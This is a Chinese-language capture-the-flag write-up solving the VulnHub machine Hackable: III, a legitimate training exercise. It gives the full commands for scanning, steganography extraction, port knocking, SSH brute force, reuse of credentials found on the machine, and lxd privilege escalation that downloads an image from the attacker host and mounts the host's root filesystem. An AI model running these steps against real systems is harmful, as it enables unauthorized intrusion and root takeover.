準備:
攻擊機:虛擬機器器kali、本機win10。
靶機:Hackable: III,下載地址:https://download.vulnhub.com/hackable/hackable3.ova,下載後直接vbox開啟即可。
知識點:lxd提權、hydra爆破、圖片隱藏資訊獲取、埠敲門(knock)。
資訊收集:
通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.5.0/24,獲得靶機地址:192.168.5.230。
掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.5.230,顯示開放了80埠,開啟了http服務。
web服務-資訊收集:
存取其web服務的原始碼資訊,在其原始碼資訊中發現提示資訊,根據提示資訊猜測可能存在以下賬戶:jubiscleudo和hackable3,一個登入介面地址:http://192.168.5.230/login_page/login.html。
在登入介面中進行正常登入時會返回原始碼資訊,在返回的原始碼資訊中發現了一個圖片檔案:3.jpg,以及一個包含的檔案config.php。
存取該圖片並進行保留,使用steghide檢視隱藏的檔案資訊:steghide info 3.jpg並讀取下檔案資訊內容:steghide extract -sf 3.jpg,發現埠號:65535。
存取config.php發現提示資訊,告訴我們root賬戶不需要密碼,這個有待驗證,先暫時放這。
目錄掃描:
使用dirsearch進行目錄掃描,命令:dirsearch -u http://192.168.5.230 -e * ,發現存在/backup、/config、/cs目錄和其他一些檔案。
存取:http://192.168.5.230/backup/,發現wordlist.txt檔案,猜測是密碼字典,儲存下來。
存取:http://192.168.5.230/config/,發現1.txt檔案,檔案內容是base64加密的字串:MTAwMDA=,解密後得到埠:10000。
存取:http://192.168.5.230/css/,發現2.txt檔案,在檔案中發現加密資訊:++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....,在解密網站:http://esoteric.sange.fi/brainfuck/impl/interp/i.html進行解密後的埠:4444。
加上剛開始的提示資訊:activate the port knocking,所以我們嘗試使用獲得埠進行敲門,命令:knock -v 192.168.5.230 10000 4444 65535(埠順序是檔名的1、2、3順序),然後在對靶機進行掃描:nmap -T4 -sV -p- -A 192.168.5.230,發現開放的22埠。
獲取shell:
使用收集到的賬戶資訊:jubiscleudo、hackable3和密碼字典進行爆破,成功獲得賬戶和密碼:jubiscleudo/onlymy。
使用獲得賬戶和密碼進行ssh連線,命令:ssh [email protected],成功獲得shell許可權。
橫向滲透:
經過一番查詢在/var/www/html目錄下發現一個隱藏檔案:.backup_config.php,讀取該檔案內容獲取到hackable_3賬戶的密碼:TrOLLED_3。
使用獲得的賬戶和密碼資訊進行登入:hackable_3/TrOLLED_3,成功登入到hackable_3賬戶。
提權:
在hackable_3賬戶下發現其具有lxd許可權,那就可以嘗試使用lxd提權。
首先在這個網站:https://github.com/saghul/lxd-alpine-builder.git下載tar.gz檔案並上傳到靶機,命令:wget http://192.168.5.226:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz。然後在依次執行如下命令,即可成功獲得root許可權。
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
lxd init #基本預設設定,進行回車就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
獲得root許可權後,在/mnt/root/root目錄下發現root.txt檔案,讀取該檔案成功獲取到flag值。